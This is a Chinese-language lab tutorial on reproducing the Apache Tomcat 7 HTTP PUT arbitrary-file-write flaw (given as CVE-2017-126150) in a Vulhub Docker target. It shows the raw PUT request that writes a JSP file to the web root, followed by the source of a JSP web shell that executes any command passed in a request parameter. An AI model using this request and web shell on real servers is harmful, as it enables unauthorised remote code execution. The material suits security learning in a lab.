本文所介绍的内容仅为学习交流使用,严禁利用本文技术进行非法行为,否则造成一切严重后果自负!

一.漏洞原理说明

Apache Tomcat 7.0.0 - 7.0.79任意文件写入(7.0.81修复不完全)

Tomcat是一个Java Web服务器,它需要使用web.xml文件来配置Web应用程序的行为。Apache Tomcat 7.0.0 - 7.0.79漏洞产生原因:在这个Dockerfile文件中,通过修改web.xml文件来添加一个名为readonly的参数,其值为false

当 Tomcat 运行在 Windows 主机上,启用了 HTTP PUT 请求方法,可以通过构造请求向服务器上传包含任意代码的 JSP 文件,导致 JSP 文件中的代码能够被服务器执行。

在kali中打开vulhub靶场中的CVE-2017-126150,在这里打开终端输入:
docker-compose up -d
启动此文件夹中的docker compose配置文件中定义的docker容器

请添加图片描述

成功启动

使用cat Dockerfile 查看配置:
请添加图片描述可以看到readonly值为false。

二.漏洞复现步骤

当在Kali上运行Vulhub的Tomcat漏洞靶场时,相当于kali中存在Tomcat漏洞,Kali Linux可以看作被攻击对象中的Tomcat服务器,接下来我们可以对他进行测试

1.访问http://your-ip:8080即可看到Tomcat的Example页面
我的kali的ip是192.168.10.130
请添加图片描述

2.使用Burp Suite抓包,默认监听的是8080端口,但是此时8080运行了Tomcat服务,所以要改一下bp监听的端口。

一个端口只能同时被一个应用程序或服务监听和使用,因为端口是用来区分不同应用程序或服务的标识符。如果多个应用程序或服务试图绑定到同一个端口上,就会出现端口冲突,并且其中一个进程可能无法正常启动。在同一端口下运行多个应用程序或服务需要使用代理服务器或反向代理技术。

上传JSP Webshell文件到Tomcat服务器,此时Tomcat服务器就是我的kali虚拟机。直接发送以下数据包即可在Web根目录写入shell:

PUT /1.jsp/ HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

shell

请添加图片描述

这里看到返回201,应该已经上传成功了。

3.然后使用网页访问1.jsp:
请添加图片描述

可以看出1.jsp文件已经写入到了网站内部。
4.在容器中查看上传的jsp文件
使用docker exec命令来进入容器并检查Web应用程序目录。如果容器名称为"my-tomcat-container",则可以通过以下命令进入容器:
docker exec -it my-tomcat-container /bin/bash
使用docker ps列出容器的名称

Tomcat容器中默认的Web应用程序路径为/usr/local/tomcat/webapps/,在此文件夹下的ROOT目录中找到了上传的jsp文件
请添加图片描述

5.上传一个jsp的木马:

<%
    java.io.InputStream is = Runtime.getRuntime()
                            .exec(request.getParameter("command"))
                            .getInputStream();
    int a = -1;
    byte[] b = new byte[2048];
    while ((a = is.read(b)) != -1) {
        out.print(new String(b));
    }
%>

请添加图片描述
201成功

6.使用浏览器访问exc.jsp可以任意命令执行请添加图片描述原创不易,转载请说明出处

更多推荐